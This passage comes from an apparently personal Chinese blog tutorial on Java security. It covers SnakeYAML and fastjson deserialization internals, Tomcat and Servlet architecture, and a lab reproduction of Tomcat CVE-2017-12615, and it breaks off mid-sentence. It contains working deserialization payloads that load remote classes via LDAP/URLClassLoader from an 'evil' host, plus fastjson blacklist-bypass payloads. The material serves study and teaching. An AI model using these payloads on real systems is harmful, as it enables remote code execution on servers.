class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test.java</span></span><br><span class="line"><span class="keyword">import</span> org.yaml.snakeyaml.Yaml;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">//serialize();</span></span><br><span class="line">        deserialize();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span><span class="string">&quot;!!User &#123;age: 12, name: sakuya&#125;&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;!!com.sun.rowset.JdbcRowSetImpl &#123;dataSourceName: ldap://127.0.0.1:4321/evil, autoCommit: true&#125;&quot;</span>;</span><br><span class="line">        <span class="type">Yaml</span> <span class="variable">yaml1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Yaml</span>();</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> yaml1.load(s);</span><br><span class="line">        System.out.println(user);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">aa</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">        aa.setName(<span class="string">&quot;a&quot;</span>);</span><br><span class="line">        aa.setAge(<span class="number">12</span>);</span><br><span class="line">        <span class="type">Yaml</span> <span class="variable">yaml</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Yaml</span>();</span><br><span class="line">        <span class="type">String</span> <span class="variable">dump</span> <span class="operator">=</span> yaml.dump(aa);</span><br><span class="line">        System.out.println(dump);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>进行序列化</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504125740380.png" alt="image-20260504125740380"></p><p>序列化的时候会调用对象中的getter 和fastjson类似</p><p>返回的字符串有严格的格式 在类前面有2个<code>!</code> 对象内部属性也必须有空格</p><p><strong>这里的<code>!!</code> 类似于fastjson中的<code>@type</code></strong> 指定反序列化的全类名</p><hr><p>尝试反序列化</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504130032801.png" alt="image-20260504130032801"></p><p>反序列化的时候调用了对象中的setter 也和fastjson类似</p><p>getter方法是因为User类用lombok备注成tostring才被调用的 和snakeyaml反序列化没关系</p><p>和fastjson类似 snakeyaml这个组件也是在反序列化的时候会调用对象的setter方法 从而导致的漏洞利用</p><h3 id="调试一下"><a href="#调试一下" class="headerlink" title="调试一下"></a>调试一下</h3><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504135511222.png" alt="image-20260504135511222"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504135531807.png" alt="image-20260504135531807"></p><p>传进去的yaml字符串会先变成StreamReader 进而进入<strong>loadFromReader()</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504135701264.png" alt="image-20260504135701264"></p><p>前面2行都是为yaml数据进行包装</p><p>跟进<strong>ParserImpl</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504135930875.png" alt="image-20260504135930875"></p><p>包装的时候 有一个<strong>VersionTagsTuple方法</strong> 它将我们的<code>!!</code>指向一个tag 之后有用处</p><p>现在跟进<strong>Composer</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140151854.png" alt="image-20260504140151854"></p><p>没有什么特别的方法 就是有一次包装了而已</p><p>跟进一下<strong>setComposer()</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140252460.png" alt="image-20260504140252460"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140337494.png" alt="image-20260504140337494"></p><p>依旧封装</p><p>重点是下面的<strong>getSingleData</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140428610.png" alt="image-20260504140428610"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140627892.png" alt="image-20260504140627892"></p><p>又将我们的数据转为node形式 <code>!!</code>也转变成tag形式</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140731170.png" alt="image-20260504140731170"></p><p>跟进<strong>constructDocument</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140758436.png" alt="image-20260504140758436"></p><p>跟进<strong>constructObject</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504140822317.png" alt="image-20260504140822317"></p><p>进入一个判断</p><p>判断当前constructedObjects是否有节点node 显然是没有的返回false</p><p>进入<strong>constructObjectNoCheck</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504141031442.png" alt="image-20260504141031442"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504141358346.png" alt="image-20260504141358346"></p><p>获取node的构造器并调用构造器构造node</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504141423856.png" alt="image-20260504141423856"></p><p>进入getConstructor</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504141549962.png" alt="image-20260504141549962"></p><p>获取node的类</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504141639989.png" alt="image-20260504141639989"></p><p>之后会类似的获取node里面其他的类</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504142454378.png" alt="image-20260504142454378"></p><p>这里会获取当前类的构造器 根据node里面类参数个数获取构造器</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504142850956.png" alt="image-20260504142850956"></p><p>这里会获取参数 并且递归的获取参数的构造器 </p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260504143235154.png" alt="image-20260504143235154"></p><p>最后的最后 会以此递归的调用newInstance去创建对象实例 </p><p>这里的c就是当前类的构造器 根据递归性质</p><p>会先创建最内层的对象 最后递归到最外层的对象</p><p>全过程中 没有任何的限制</p><p>于是在创建实例的时候触发了漏洞</p><hr><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>这个漏洞的触发实际可以简单描述为</p><p>通过构造器去调用代码 </p><p>也可以类似于fastjson一样 在调用setter方法的时候触发</p><hr><p>snakeyaml和fastjson相比 </p><p>他可以直接创建对象实例 通过有参&#x2F;无参构造器去创建 也会调用setter</p><p>fastjson虽然可以创建对象 但是只能调用无参构造器 </p><h3 id="payload"><a href="#payload" class="headerlink" title="payload"></a>payload</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [<span class="string">&quot;ldap://127.0.0.1:4321/evil.jar&quot;</span>]]]]</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">!!com.sun.rowset.JdbcRowSetImpl &#123;dataSourceName: ldap:<span class="comment">//127.0.0.1:4321/evil, autoCommit: true&#125;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="fastjson-1"><a href="#fastjson-1" class="headerlink" title="fastjson"></a>fastjson</h2><p>阿里巴巴提供的一个快速转换数据的java组件</p><p>对象转json数据</p><p>json数据转对象</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.test.Person;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TEST</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Person</span> <span class="variable">person</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">        person.setName(<span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">        person.setAge(<span class="number">18</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="comment">//将java对象转换为json数据</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">jsonString</span> <span class="operator">=</span> JSON.toJSONString(person);</span><br><span class="line">        System.out.println(jsonString);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//将json数据转换为对应的java对象</span></span><br><span class="line">        <span class="type">Person</span> <span class="variable">p1</span> <span class="operator">=</span> JSON.parseObject(jsonString,Person.class);</span><br><span class="line">        System.out.println(p1);</span><br><span class="line">        System.out.println(p1.getAge());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="json数据-to-java对象"><a href="#json数据-to-java对象" class="headerlink" title="json数据 to java对象"></a>json数据 to java对象</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">JSON.parseObject()</span><br><span class="line">JSON.parse()</span><br><span class="line">JSON.parseArray()</span><br></pre></td></tr></table></figure><p>有三种主要方法 有多种的重载方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">JSON.parseObject(jsonString,Person.class)</span><br><span class="line"><span class="comment">//会将json数据 还原为之前的java对象 第二个参数就指定了对象的class类</span></span><br></pre></td></tr></table></figure><p><code>JSON.parse(jsonString)</code></p><p>没有指定的话 会自动查找数据里面的@type键值 如果有还原为指定的类 如果没有则会自动转换为jsonObject</p><p><strong>转换对象的时候 会反射加载类 并尝试将属性填入这个类中</strong></p><p><strong>第一种 尝试调用public setter方法</strong><br><strong>第二种 判断属性是否为public 如果是则直接写入</strong><br><strong>第三种 如果没有setter方法 会判断是否有getter方法</strong> </p><p>如果属性都是private </p><p>需要添加Feature.SupportNonPublicField参数 会强制调用</p><p><strong>1.2.0 &lt;&#x3D; verison &lt;&#x3D; 1.2.24</strong> </p><p>从1.2.0开始 json中添加@type字段 并添加全限定类名  JSON.parse(String) 会自动将数据转为该类</p><p>并且默认开启任意类转换 由此开启漏洞</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">        <span class="type">byte</span>[] payload = Files.readAllBytes(Paths.get(<span class="string">&quot;D:\\myjavaprogram\\myfastjson\\src\\main\\java\\testEvil.class&quot;</span>));</span><br><span class="line"></span><br><span class="line">        Map&lt;String,Object&gt; datamap = <span class="keyword">new</span> <span class="title class_">LinkedHashMap</span>&lt;String,Object&gt;();</span><br><span class="line">        datamap.put(<span class="string">&quot;@type&quot;</span>,<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        datamap.put(<span class="string">&quot;_bytecodes&quot;</span>,<span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;payload&#125;);</span><br><span class="line">        datamap.put(<span class="string">&quot;_name&quot;</span>,<span class="string">&quot;test&quot;</span>);</span><br><span class="line">        datamap.put(<span class="string">&quot;_outputProperties&quot;</span>,<span class="keyword">new</span> <span class="title class_">Object</span>());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> JSON.toJSONString(datamap);</span><br><span class="line"></span><br><span class="line">        System.out.println(json);</span><br><span class="line"><span class="comment">//需要SupportNonPublicField 由于_outputProperties为私有属性 所以要搞这个参数</span></span><br></pre></td></tr></table></figure><p><strong>version 1.2.25 ~ 1.2.41</strong></p><p>denylist添加了大量的内部api 并且有一个AutoType参数 需要为true</p><p>绕过条件:</p><p>绕过黑名单 绕过Autotype限制</p><p><strong>version 1.2.42</strong></p><p>检测到L ;就会删除并继续检测</p><p>双写绕过</p><p><strong>version 1.2.43</strong></p><p>检测到L直接报错</p><p>数组绕过</p><p><strong>version 1.2.44</strong></p><p>遇到数组也报错了</p><p>黑名单绕过</p><p><strong>version &lt;&#x3D; 1.2.47</strong></p><p>二次注入绕过</p><p>先将jdbcrowsetimpl搞到mapping中</p><p>第二次反序列化的时候成功执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload3</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;a\&quot;:&#123;\&quot;@type\&quot;:\&quot;java.lang.Class\&quot;,\&quot;val\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;&#125;,&quot;</span></span><br><span class="line">               + <span class="string">&quot;\&quot;b\&quot;:&#123;\&quot;@type\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;,&quot;</span></span><br><span class="line">               + <span class="string">&quot;\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/Exploit\&quot;,\&quot;autoCommit\&quot;:true&#125;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>version  1.2.48</p><p>无法在使用1.2.47的方法 默认不然通过class加入新的类</p><p>version &lt;&#x3D;1.2.68</p><h1 id="javaweb基础"><a href="#javaweb基础" class="headerlink" title="javaweb基础"></a>javaweb基础</h1><h2 id="tomcat"><a href="#tomcat" class="headerlink" title="tomcat"></a>tomcat</h2><p>web容器 servlet容器</p><p>处理http请求并发送response </p><h3 id="Servlet-Server-Applet"><a href="#Servlet-Server-Applet" class="headerlink" title="Servlet (Server Applet)"></a>Servlet (Server Applet)</h3><p>java提供的一门动态web资源开发技术</p><p><strong>Servlet 就是一个运行在服务器端的 Java 类</strong>，它专门用来<strong>接收浏览器的请求</strong>并<strong>做出响应</strong></p><p><strong>本质</strong>:<strong>动态生成网页内容 处理网页逻辑</strong></p><h3 id="Servlet的生命周期"><a href="#Servlet的生命周期" class="headerlink" title="Servlet的生命周期"></a>Servlet的生命周期</h3><p>Servlet从被创建到被销毁的整个过程</p><p><strong>实例化</strong></p><p>当Servlet第一次被访问时 由web容器创建Servlet对象</p><p><strong>初始化</strong></p><p>实例化之后 调用init()方法 初始化配置文件 创建链接 只调用一次</p><p><strong>请求</strong></p><p>每次请求Servlet容器都会调用一次service()</p><p><strong>销毁</strong></p><p>释放内存 关闭容器时会调用destroy()方法 </p><p>调用完只是 容器会释放Servlet实例</p><h3 id="HttpServlet"><a href="#HttpServlet" class="headerlink" title="HttpServlet"></a>HttpServlet</h3><p>HttpServlet继承了GenericServlet类又继承了Servlet接口</p><p>项目中继承HttpServlet得重写doGet()方法和doPost()方法</p><p><img src="/2026/03/09/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0java%E5%AE%89%E5%85%A8/image-20260317185609647.png" alt="image-20260317185609647"></p><h3 id="Filter"><a href="#Filter" class="headerlink" title="Filter"></a>Filter</h3><p>限制器<code>javax.servlet.Filter</code>是<code>Servlet2.3</code>新增的一个特性,主要用于过滤URL请求，通过Filter我们可以实现<strong>URL请求资源权限验证、用户登陆检测等功能</strong></p><p>Filter是一个接口，实现一个Filter只需要重写<code>init</code>、<code>doFilter</code>、<code>destroy</code>方法即可，其中过滤逻辑都在<code>doFilter</code>方法中实现。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//简单的Filter</span></span><br><span class="line"><span class="keyword">package</span> org.example.javawebtest;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.*;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.annotation.WebFilter;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"></span><br><span class="line"><span class="meta">@WebFilter(&quot;/*&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">myfilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        servletResponse.setContentType(<span class="string">&quot;text/html; charset=UTF-8&quot;</span>);</span><br><span class="line">        <span class="type">PrintWriter</span> <span class="variable">writer</span> <span class="operator">=</span> servletResponse.getWriter();<span class="comment">//处理</span></span><br><span class="line">        writer.write(<span class="string">&quot;调用filter！&lt;/br&gt;&quot;</span>);</span><br><span class="line">        filterChain.doFilter(servletRequest, servletResponse);<span class="comment">//放行</span></span><br><span class="line"></span><br><span class="line">        writer.write(<span class="string">&quot;Servelt运行完毕&quot;</span>);<span class="comment">//执行完毕处理</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>通过注解的方式定义Filter会根据Filter类名的字母顺序执行过滤</strong></p><p><strong>如果是在web.xml中定义的 那么就从上到下顺序执行过滤</strong></p><p>filterChain.doFilter()会放行这个请求到下一个Filter的doFilter上 如果是最后一个Filter则传给Servlet</p><p>当Servlet运行完会回调到Filter上执行之后的代码</p><h3 id="Listener"><a href="#Listener" class="headerlink" title="Listener"></a>Listener</h3><p>事件：某个方法被调用，或者属性改变</p><p>事件源：被监听的对象</p><p>监听器：用于监听事件源，当发生事件时会触发监听器</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260410112859904.png" alt="image-20260410112859904"></p><p>Listener -&gt; Filter -&gt; Servlet </p><h3 id="javaweb项目结构"><a href="#javaweb项目结构" class="headerlink" title="javaweb项目结构"></a>javaweb项目结构</h3><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260410103339869.png" alt="image-20260410103339869"></p><h3 id="src-main"><a href="#src-main" class="headerlink" title="src&#x2F;main"></a>src&#x2F;main</h3><p><strong>java目录</strong> 存放写好的Servelt 也就是java文件 里面包含<strong>大量的业务逻辑</strong> 审计的重点</p><p><strong>resource目录</strong> 存放一些<strong>配置项 配置文件</strong>等</p><p><strong>webapp目录</strong>  java web特有的目录  这是一个<strong>受保护</strong>的目录。浏览器<strong>无法直接访问</strong>里面的内容。 存放web资源</p><p>​<strong>&#x2F;WEB-INF</strong> 存有web.xml 包括网站的所有路由信息 它定义了哪些 Servlet 对应哪些 URL，以及有哪些 Filter</p><p>​<strong>index.jsp</strong> 首页</p><p><strong>target</strong> 目录是编译后的产物</p><h3 id="tomcat架构"><a href="#tomcat架构" class="headerlink" title="tomcat架构"></a>tomcat架构</h3><p>2个核心组件</p><p>Connector</p><p><strong>处理socket连接</strong> <strong>负责网络字节流与request和response对象转换</strong></p><p>Container</p><p><strong>加载并管理Servlet 处理具体的Request请求</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260410144947629.png" alt=" "></p><p>连接器中又分为3个部分</p><p>endpoint <strong>处理网络连接</strong> 接收二进制数据流 并转化为socketProcessor</p><p>processor 接收socketProcessor <strong>通过处理具体的协议类型 并转化为tomcat Request</strong></p><p>adapter <strong>接受tomcat request 转换为ServletRequest</strong></p><p>容器中层层分为</p><p>engine  表示整个 <strong>Catalina 的 Servlet 引擎</strong> 一个service只有一个engine 管理多个host</p><p>host 表示<strong>虚拟主机&#x2F;站点</strong>  <a href="http://www.a.com/">www.a.com</a> <a href="http://www.b.com/">www.b.com</a> </p><p>context 表示一个<strong>web应用</strong>  webapp目录下的文件夹</p><p>wrapper 表示一个<strong>Servlet</strong>  负责管理整个 Servlet 的生命周期，包括装载、初始化、资源回收等</p><h3 id="历史CVE复现"><a href="#历史CVE复现" class="headerlink" title="历史CVE复现"></a>历史CVE复现</h3><p>CVE-2017-12615 (PUT 方法任意文件上传)</p><p>在tomcat的conf&#x2F;web.xml里面有一个参数readonly 根据注释可以知道这个参数就是开启是否接受delete和put请求</p><p>false就等于允许</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414102706027.png" alt="image-20260414102706027"></p><p>我们在DefaultServlet中添加这个参数</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414102837580.png" alt="image-20260414102837580"></p><p>本地启动tomcat 使用jpda这个javaagent 使得idea可以远程调试tomcat</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">catalina.bat jpda start</span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414102611163.png" alt="image-20260414102611163"></p><p>在idea中打断点</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414102933243.png" alt="image-20260414102933243"></p><p>bp发包</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103055126.png" alt="image-20260414103055126"></p><p>可以看到idea停在断点上了</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103117536.png" alt="image-20260414103117536"></p><p>一开始就判断readonly的值 因为为false所以跳过</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103249374.png" alt="image-20260414103249374"></p><p>后续就是获取路径path 然后判断是否存在文件</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103402352.png" alt="image-20260414103402352"></p><p>获取请求输入流 在通过请求输入流获取到请求体</p><p>后面会进入到resources.bind(path, newResource)</p><p>这里就是sink点</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103558887.png" alt="image-20260414103558887"></p><p>跟进dirContext.bind()</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103636797.png" alt="image-20260414103636797"></p><p>继续跟进</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414103706228.png" alt="image-20260414103706228"></p><p>来到FileDirContext的bind方法中</p><p>创建一个File对象 然后判断是否存在 </p><p>继续跟进下面的rebind()</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414104041544.png" alt="image-20260414104041544"></p><p>前面是一些判断语句</p><p>也是创建一个file对象 判断obj对象类型</p><p>因为obj对象是resource类 所以is获取obj的请求体数据</p><p> 重点在后面</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414104104751.png" alt="image-20260414104104751"></p><p>创建一个FileOutputStream os 然后将file对象传入FileOutputStream 中</p><p>用上面的输入流is读取数据 </p><p>最后os在写入file对象中 此时文件就成功写入了</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414104612946.png" alt="image-20260414104612946"></p><p>可以成功访问</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260414104650603.png" alt="image-20260414104650603"></p><p>在发送数据包的时候发的是</p><p>PUT &#x2F;1.jsp%20</p><p>如果不加%20 他会使用jsp的Servlet 所以需要加入空格的url编码 使得是DefaultServlet去处理这个请求</p><h3 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h3><p>不要使用readonly参数 默认也没有使用</p><h2 id="Servlet内存马"><a href="#Servlet内存马" class="headerlink" title="Servlet内存马"></a>Servlet内存马</h2><h3 id="一个请求到成为Servlet里面的ServletRequest全过程"><a href="#一个请求到成为Servlet里面的ServletRequest全过程" class="headerlink" title="一个请求到成为Servlet里面的ServletRequest全过程"></a>一个请求到成为Servlet里面的ServletRequest全过程</h3><p>Connector 到 Container 到最后 Servlet拿到的Request 实际上过程有3种request</p><p>这里调试的是jsp文件 所以直接在jsp的第一句话上打上断点即可</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411132412458.png" alt="image-20260411132412458"></p><p>看看调用栈</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411132443438.png" alt="image-20260411132443438"></p><p>从这个AprEndpoint这个类开始处理连接</p><p>在Connector 中 当<strong>endpoint处理完socket连接</strong> 会返回一个socketProcess对象 然后在<strong>Processor中开始解析协议</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411132657571.png" alt="image-20260411132657571"></p><p>开始调用<strong>SocketProcessor中的doRun准备开始进行协议解析</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411132834550.png" alt="image-20260411132834550"></p><p>这里开始调用SocketProcessor中的handler的process开始解析</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411133842889.png" alt="image-20260411133842889"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411133941534.png" alt="image-20260411133941534"></p><p>wrapper就是一开始的socketwrapper </p><p>开始调用AbstractHttp11Processor进行协议解析</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411134139938.png" alt="image-20260411134139938"></p><p>经过一顿操作 我们终于是看到一个request了</p><p>回去看看这个request是什么</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411134553094.png" alt="image-20260411134553094"></p><p><code>org.apache.coyote.Request</code> 一个被初步包装的request 可以称为tomcat request</p><p>这里还没到Container中的request 继续看调用栈</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411134744048.png" alt="image-20260411134744048"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411135333045.png" alt="image-20260411135333045"></p><p>这里是connector中最后一个组件adapter 会将刚刚的request转换为Container可以接受的request </p><p>可以看到<code>   org.apache.catalina.connector</code> 中引用了httpservletRequest接口 这是可以被Container使用的</p><p>Connector开始启动Container</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411135630722.png" alt="image-20260411135630722"></p><p>这个调用就开始进入<strong>Container的调用</strong></p><p><strong><code>connector.getService()</code></strong>： 拿到当前 Connector 所属的 <code>Service</code>（通常是 <code>Catalina</code>）。一个 Service 就像是一个“大部门”，它管理着门口的接待（Connector）和后面的车间（Container）。</p><p><strong><code>.getContainer()</code></strong>： 拿到这个 Service 下关联的顶层容器，通常是 <strong><code>StandardEngine</code></strong>（引擎）。</p><p><strong><code>.getPipeline()</code></strong>： 每个容器都有一个“管道”。管道里挂着一串“阀门（Valve）”。</p><p><strong><code>.getFirst()</code></strong>： 拿到管道里的<strong>第一个阀门</strong>。对于 <code>StandardEngine</code> 来说，它的第一个阀门通常就是 <code>StandardEngineValve</code>。</p><p><strong><code>.invoke(request, response)</code></strong>： <strong>这是最核心的动作。</strong> 这里的 <code>request</code> 是已经包装好的 <code>connector.Request</code>。这个调用意味着请求正式进入了容器的逻辑流，开始了一层层 Valve 的遍历。</p><p>Container中每个组件的调用遵循一个 